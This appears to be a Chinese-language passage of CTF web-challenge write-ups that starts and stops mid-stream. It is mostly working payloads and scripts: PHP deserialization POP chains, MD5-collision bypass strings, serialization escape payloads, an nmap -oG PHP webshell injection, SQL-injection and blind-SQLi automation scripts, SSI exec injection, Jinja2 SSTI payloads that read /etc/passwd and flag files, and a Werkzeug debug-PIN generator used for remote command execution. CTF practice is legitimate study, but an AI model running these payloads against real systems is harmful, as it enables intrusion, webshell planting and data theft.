所以完整的pop链

1
new show触发__construct,然后source=new show触发__tostring,str=new test触发__get,p=new Modifier()触发__invoke,最后调用append输出flag
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
class Modifier {
    protected  $var='php://filter/read=convert.base64-encode/resource=flag.php';
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}
$a= new Modifier();
$b= new Show();
$c= new Test();
$b->source=new Show();
$b->source->str=$c;
$c->p=$a;
echo urlencode(serialize($b));

[安洵杯 2019]easy_web

图片url看起来是base64

解码看看

image-20250215221837836

两次base64加一个hex转ascii

构造index.php读取

image-20250215222010287

1
TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

image-20250215222154542

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>

这里要md5强比较绕过只能找payload了

1
2
3
4
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
或者
a=psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%EA2%81_%FB%D9%24%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%82%7D%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%84%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEcC%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%BC%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%99%B59%F9%FF%C2&b=psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%EA2%81_%FB%D9%A4%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%02%7E%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%04%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEc%C3%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%3C%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%9959%F9%FF%C2

image-20250215222907878

image-20250215223019692

[MRCTF2020]PYWebsite

image-20250216151521281

[安洵杯 2019]easy_serialize_php

源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
 <?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
} 

代码逻辑是extract传入变量,改变session[img]为固定值,序列化session然后过滤,反序列化,base64解码读取内容

先看看phpinfo,找到d0g3_f1ag.php

php反序列化字符逃逸

在php中,反序列化的过程中必须严格按照序列化规则才能成功实现反序列化,但如果我们在序列化字符串后加随机字符串

1
2
3
4
<?php
$str='a:2:{i:0;s:8:"Hed9eh0g";i:1;s:5:"aaaaa";}abc';
var_dump(unserialize($str));
?>

任然输出原来的结果,因为他读到}就停止了,不会读取}后的字符串

1
2
3
4
5
6
7
8
<?php
$_SESSION["user"]='flagflagflagflagflagflag';
$_SESSION["function"]='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}';
$_SESSION["img"]='L2QwZzNfZmxsbGxsbGFn';
echo serialize($_SESSION);
?>
    
//a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

这里的function里面开头的"a是为了序列化之后跟前面的"拼接

然后因为flag会被空替换,变成

1
a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

本来由于有6个flag字符所以为24,现在这6个flag都被过滤了,那么它将会尝试向后读取24个字符看看是否满足序列化的规则,也即读取;s:8:"function";s:59:"a,读取这24个字符后以";结尾,恰好满足规则,而后第三个s向后读取img的20个字符,第四个、第五个s向后读取均满足规则

最终结果为

1
2
3
4
5
array(3) { 
["user"]=> string(24) "";s:8:"function";s:59:"a" 
["img"]=> string(20) "ZDBnM19mMWFnLnBocA==" 
["dd"]=> string(1) "a" 
}

这样就把原来不可变的Img给替换了

然后我们传入一个session让他序列化就行了,有两种绕过办法,第一种让__SESSION[flagflag]传入开头为"的字符串,这样序列化,就会拼接为空造成上面的绕过(不知道为什么复现不了)

1
2
3
4
5
$_SESSION['flagflag']='";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
    #结果 a:1:{s:8:"flagflag";s:51:"";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";},这里就造成img不成为一个键,也就无法进行加密
    #过滤掉flag有
    #a:1:{s:8:"";s:51:"";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";}
    #使得绕过;s:51:""到达下一个分号,这时img成功逃逸出来

第二种直接构造三个session,然后在第一个session的值传很多flag,过滤后就会匹配后面的session来替换img

1
2
3
_SESSION[a]=phpflagflagflagflagflagflagflagflagflagflagflagflagflag&_SESSION[img]=1&_SESSION[exp]=;s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";i:0;i:1;}
序列化后
"a:3:{s:1:"a";s:55:"";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";s:3:"exp";s:40:";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";i:0;i:1;}";}"

payload

1
_SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"1";s:1:"2";}

[强网杯 2019]高明的黑客

用脚本筛选

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import os
import re
import time
import threading
import requests
from tqdm import tqdm

thread_ = threading.Semaphore(30) # 设置最大线程数 ,别设置太大,不然还是会崩的
requests.adapters.DEFAULT_RETRIES = 5 #设置重连次数,防止线程数过高,断开连接
session = requests.Session() 
session.keep_alive = False # 设置连接活跃状态为False

buu_url = "http://35a34fe5-7916-4ebf-a7ff-bfd82fe9bd4a.node4.buuoj.cn:81"
filePath = r"D:\Downloads\src"
os.chdir(filePath)
files = os.listdir(filePath)
flags = []

rrGET = re.compile(r"\$_GET\[\'(\w+)\'\]") # 匹配get参数
rrPOST = re.compile(r"\$_POST\[\'(\w+)\'\]") # 匹配post参数

def getflag(file):
    print("[+]checking file:%s" % (file))
    thread_.acquire()
    url = buu_url + "/" + file
    with open(file, encoding='utf-8') as f:
        gets = list(rrGET.findall(f.read()))
        posts = list(rrPOST.findall(f.read()))
        for g in gets:
            print("[++]checking %s" % (g))
            time.sleep(0.02)
            res = session.get(url + "?%s=%s" % (g, "echo ------"))
            if "------" in res.text:
                flag = "fileName=%s, param=%s" % (file, g)
                flags.append(flag)

        for p in posts:
            print("[++]checking %s" % (p))
            res = session.post(url, data={p:"echo ------"})
            if "------" in res.text:
                flag = "fileName=%s, param=%s" % (file, g)
                flags.append(flag)

    thread_.release()

if __name__ == '__main__':
    start_time = time.time()
    thread_list = []
    for file in tqdm(files):
        t = threading.Thread(target=getflag, args=(file,))
        thread_list.append(t)

    for t in thread_list:
        t.start()
    for t in thread_list:
        t.join()
            
    print(flags)
    end_time = time.time()
    print("[end]程序结束:用时(秒):"+str(end_time-start_time))

最后参数为

1
/xk0SzyKwfzw.php?Efa5BVG=cat /flag

[网鼎杯 2020 朱雀组]Nmap

题目叫nmap想到之前的一道题online tool用-oG参数写入木马,用单引号加空格绕过

1
' <?php @eval($_POST["cmd"]);?> -oG shell.php '

回显hacker,可能匹配了后缀名php

1
' <?= @eval($_POST["cmd"]);?> -oG shell.phtml '

回显hostmaybedown

加上ip

1
127.0.0.1 |' <?= @eval($_POST["cmd"]);?> -oG shell.phtml '

上传后蚁剑连接

解法二用-iL参数读取文件

1
127.0.0.1 |' -iL /flag -o 1 '

因为注释里面有提示flag在根目录

这样再访问1就得到flag

image-20250216231516444

[NPUCTF2020]ReadlezPHP

反序列化,过滤system,用assert查看phpinfo

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
<?php
class HelloPhp
{
public $a='phpinfo()';
public $b='assert';
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp();
echo serialize($c);

查找flag就有了

[SWPU2019]Web1

sql注入过滤了or和空格和注释,用/**/绕过

1
2
3
4
-1'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
1'/**/union/**/select/**/1,database(),group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1"'
1'/**/union/**/select/**/1,database(),(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

无列名注入

如果information_schema被WAF,得到表名之后使用无列名注入技巧获取字段值.

1
select 1,2,3 union select * from 测试

之后就可以利用数字来对应相应的列,进行查询

1
select `2` from (select 1,2,3 union select * from 测试) as test

1、列名需要用``包裹起来

2、使用子查询的时候,即一个查询嵌套在另一个查询中,内层查询的结果可以作为外层查询的条件,内层查询到的结果需要起一个别名(as)

如果反引号``被过滤,可以使用为字段起别名的方式.

1
select b from (select 1,2 as b,3 union select * from 测试) as test

[极客大挑战 2019]FinalSQL

盲注

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
import time

url = "http://5045a2b7-44b5-44ee-99d1-9db358afe49c.node5.buuoj.cn:81/search.php?"
temp = {"id": ""}
column = ""
for i in range(1, 1000):
    time.sleep(0.06)
    low = 32
    high = 128
    mid = (low + high) // 2
    while (low < high):
        # 库名
        #temp["id"] = "1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1" % (i, mid)
        # 表名
        #temp["id"] = "1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d)^1" %(i,mid)
        # 字段名
        #temp["id"] = "1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1" %(i,mid)
        # 内容
        temp["id"] = "1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" %(i,mid)
        r = requests.get(url, params=temp)
        time.sleep(0.04)
        print(low, high, mid, ":")
        if "Click" in r.text:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2
    if (mid == 32 or mid == 127):
        break
    column += chr(mid)
    print(column)

print("All:", column)

[CISCN 2019 初赛]Love Math

这里黑名单过滤了不少东西,常规的cat/flag都不能使用了,这里有个知识点是php中可以把函数名通过字符串的方式传递给一个变量,然后通过此变量动态调用函数比如下面的代码会执行 system(‘cat/flag’);

1
?c=($_GET[a])($_GET[b])&a=system&b=cat /flag

但是这里的_GET和a,b都不是白名单里面的,这里需要替换

1
?c=($_GET[pi])($_GET[abs])&pi=system&abs=cat /flag

但是这里的_GET是无法进行直接替换,而且[]也被黑名单过滤了

hex2bin() 函数把十六进制值的字符串转换为 ASCII 字符。

但是hex2bin()函数也不是白名单里面的,而且这里的5f 47 45 54也不能直接填入,会被过滤

这里的hex2bin()函数可以通过base_convert()函数来进行转换

base_convert()函数能够在任意进制之间转换数字

这里的hex2bin可以看做是36进制,用base_convert来转换将在10进制的数字转换为16进制就可以出现hex2bin

hex2bin=base_convert(37907361743,10,36)

然后里面的5f 47 45 54要用dechex()函数将10进制数转换为16进制的数

dechex(1598506324),1598506324转换为16进制就是5f 47 45 54

1
2
payload
/?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat /flag

[极客大挑战 2019]RCE ME

上传webshell,蚁剑连接,正则用取反绕过

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<?php
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "<br>";
$c='(eval($_POST[cmd]))';
$d=urlencode(~$c);
echo $d;
?>

两个参数要用()隔开

由于命令执行参数被过滤了,用蚁剑插件绕过

直接/readflag

[De1CTF 2019]SSRF Me

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
#! /usr/bin/env python
# #encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
 
app = Flask(__name__)
 
secert_key = os.urandom(16)
 
class Task:
    def __init__(self, action, param, sign, ip):		#是一个简单的赋值函数
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)):		#如果没有该文件夹,则创立一个文件夹
            os.mkdir(self.sandbox)
 
    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')   #注意w,可以对result.txt文件进行修改
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)	#这个将resp中的数据写入result.txt中,可以利用为将flag.txt中的数据放进result.txt中
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')	#打开方式为只读
                result['code'] = 200
                result['data'] = f.read()	#读取result.txt中的数据
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result
 
    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False
 
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)
 
@app.route('/De1ta',methods=['GET','POST'])		#注意这个绑定,接下来的几个函数都很重要,这个相当于c语言里面的主函数,接下来是调用其他函数的过程
def challenge():
    action = urllib.unquote(request.cookies.get("action"))		#cookie传递action参数,对应不同的处理方式
    param = urllib.unquote(request.args.get("param", ""))		#传递get方式的参数param
    sign = urllib.unquote(request.cookies.get("sign"))			#cookie传递sign参数sign
    ip = request.remote_addr				#获取请求端的ip地址
    if(waf(param)):			#调用waf函数进行过滤
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip) 			#创建Task类对象
    return json.dumps(task.Exec())			#以json的形式返回到客户端
 
@app.route('/')
def index():
    return open("code.txt","r").read()
 
def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]		#这个可以利用为访问flag.txt。读取然后为下一步将flag.txt文件中的东西放到result.txt中做铺垫
    except:
        return "Connection Timeout"
 
def getSign(action, param):				#getSign的作用是拼接secret_key,param,action,然后返回拼接后的字符串的md5加密值
    return hashlib.md5(secert_key + param + action).hexdigest()
 
def md5(content):			#将传入的字符串进行md5加密
    return hashlib.md5(content).hexdigest()
 
def waf(param):						#防火墙的作用是判断开头的几个字母是否是gopher 或者是file  如果是的话,返回true
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False
if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0',port=9999)

/geneSign路由下面会调用getsign函数,跟进会有MD5哈希, return hashlib.md5(secert_key + param + action).hexdigest(),我们传入flag.txtread就会被拼接为secert_key+flag.txt+read+scan,然后就满足下面将flag.txt写入result.txt,然后再读取result.txt,/geneSign路由会回显hash,然后我们在/De1ta路由下面的cookie传入符合条件的值,就能读取result.txt

hash:0ffa43c8b41c61f35e5f10c15ee8a3e6

image-20250220143443002

[BJDCTF2020]EasySearch

目录扫描扫出index.php.swp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
	ob_start();
	function get_hash(){
		$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
		$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
		$content = uniqid().$random;
		return sha1($content); 
	}
    header("Content-Type: text/html;charset=utf-8");
	***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
			***';
            fwrite($shtml,$text);
            fclose($shtml);
            ***
			echo "[!] Header  error ...";
        } else {
            echo "<script>alert('[!] Failed')</script>";
            
    }else
    {
	***
    }
	***
?>

password的md5hash要是6d0bc1,写脚本爆破

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
import hashlib
import threading
string='0123456789'
class BF(threading.Thread):
    def __init__(self,left,right):
        threading.Thread.__init__(self)
        self.left=left
        self.right=right
    def run(self):
        admin='6d0bc1'
        for i in range(self.left,self.right):
            s=hashlib.md5(str(i).encode('utf8')).hexdigest()
            if s[:6]==admin:
                print(i)

threads=[]
thread_count=5
for i in range(thread_count):
    threads.append(BF(i*2000000,(i+1)*2000000))
for t in threads:
    t.start()
    t.join()

2020666 2305004 9162671

登入成功后会在public路由下面写入shtml文件

接下来就用到

Apache SSI 远程命令执行漏洞(SSI注入漏洞)

当目标服务器开启了SSI与CGI支持,我们就可以上传shtml,利用<!--#exec cmd="ls /" -->语法来执行命令。

使用SSI(Server Side Include)的html文件扩展名,SSI(Server Side Include),通常称为"服务器端嵌入"或者叫"服务器端包含",是一种类似于ASP的基于服务器的网页制作技术。默认扩展名是 .stm、.shtm 和 .shtml。

我们先bp查看信息,找到前下的shtml,回显用户名

可以在用户名处注入

1
2
<!--#exec cmd="ls ../" -->
<!--#exec cmd="cat /flag" -->

这里找到flag_990c66bf85a09c664f0b6741840499b2

[GYCTF2020]FlaskApp

先用非预期解

字符串拼接绕过,或者倒序输出绕过

1
2
3
查看app.py
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}
过滤了flag和os等函数和关键词。
1
{{''.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}
1
2
将字符倒转输出
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}
1
2
字符串拼接
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %}   {% for b in c.__init__.__globals__.values() %}   {% if b.__class__ == {}.__class__ %}     {% if 'eva'+'l' in b.keys() %}       {{ b['eva'+'l']('__impor'+'t__'+'("o'+'s")'+'.pope'+'n'+'("cat /this_is_the_fl'+'ag.txt").read()') }}     {% endif %}   {% endif %}   {% endfor %} {% endif %} {% endfor %}

预期解

python的flask模板注入debug模式利用PIN码进行RCE

生成PIN的关键值有如下几个

1、服务器运行flask所登录的用户名。 通过读取/etc/passwd获得 2、modname 一般不变就是flask.app 3、getattr(app, “name”, app.class.name)。python该值一般为Flask值一般不变 4、flask库下app.py的绝对路径。通过报错信息就会泄露该值。 5、当前网络的mac地址的十进制数。通过文件/sys/class/net/eth0/address获得 //eth0处为当前使用的网卡 6、最后一个就是机器的id。 对于非docker机每一个机器都会有自已唯一的id,linux的id一般存在/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系统没有这两个文件,windows的id获取跟linux也不同。对于docker机则读取/proc/self/cgroup,其中第一行的/docker/字符串后面的内容作为机器的id

下面开始操作

通过随便报错回显app.py位置

image-20250221000830458

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}

image-20250221000918781

发现waf

1
2
**def waf(str): 
	black_list =[&#34;flag&#34;,&#34;os&#34;,&#34;system&#34;,&#34;popen&#34;,&#34;import&#34;,&#34;eval&#34;,&#34;chr&#34;,&#34;request&#34;, &#34;subprocess&#34;,&#34;commands&#34;,&#34;socket&#34;,&#34;hex&#34;,&#34;base64&#34;,&#34;*&#34;,&#34;?&#34;]** 
1
2
读取用户名
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/etc/passwd','r').read() }}{% endif %}{% endfor %}

image-20250221001610926

flaskweb

1
2
 当前网络的mac地址的十进制数。
 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/sys/class/net/eth0/address','r').read() }}{% endif %}{% endfor %}

4e:4d:bc:b8:a0:2c

1
将4e4dbcb8a02c转为10进制为86095785664556
1
2
读取机器id
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/proc/self/cgroup','r').read() }}{% endif %}{% endfor %}

docker-513f790d4e2fc09de7be4e6c769883760f1a8090aa089d9bba99b995084759ea.scope

但是这题是buu的要读linux的machine_id

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/etc/machine-id','r').read() }}{% endif %}{% endfor %}

1408f836b0ca514d796cbf8960e45fa1

生成pin码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import hashlib
from itertools import chain
probably_public_bits = [
    'flaskweb'# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    '86095785664556',# str(uuid.getnode()),  /sys/class/net/ens33/address
    '1408f836b0ca514d796cbf8960e45fa1'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

238-924-850

在报错界面查找到有debug界面,输入pin码然后就可以在终端RCE了

1
2
3
import os
os.popen('ls /').read()
os.popen('cat /this_is_the_flag.txt').read()

image-20250221003933125

[WUSTCTF2020]颜值成绩查询

布尔盲注

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests

url= 'http://575aff7c-bbec-4a7a-8075-c9dd55f58df3.node5.buuoj.cn:81/'

database =""

payload1 = "?stunum=1^(ascii(substr((select(database())),{},1))>{})^1" #库名为ctf
payload2 = "?stunum=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctf')),{},1))>{})^1"#表名为flag,score
payload3 ="?stunum=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),{},1))>{})^1" #列名为flag,value
payload4 = "?stunum=1^(ascii(substr((select(group_concat(value))from(ctf.flag)),{},1))>{})^1" #
for i in range(1,10000):
    low = 32
    high = 128
    mid =(low + high) // 2
    while(low < high):
        # payload = payload1.format(i,mid)  #查库名
        # payload = payload2.format(i,mid)  #查表名
        # payload = payload3.format(i,mid)  #查列名
        payload = payload4.format(i,mid) #查flag

        new_url = url + payload
        r = requests.get(new_url)
        print(new_url)
        if "Hi admin, your score is: 100" in r.text:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) //2
    if (mid == 32 or mid == 132):
        break
    database +=chr(mid)
    print(database)

print(database)

[FBCTF2019]RCEService

提示用json格式,传参是cmd

我们ls一下

1
{"cmd":"ls"}

发现index.php

但是原来题目有源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
  $json = $_REQUEST['cmd'];

  if (!is_string($json)) {
    echo 'Hacking attempt detected<br/><br/>';
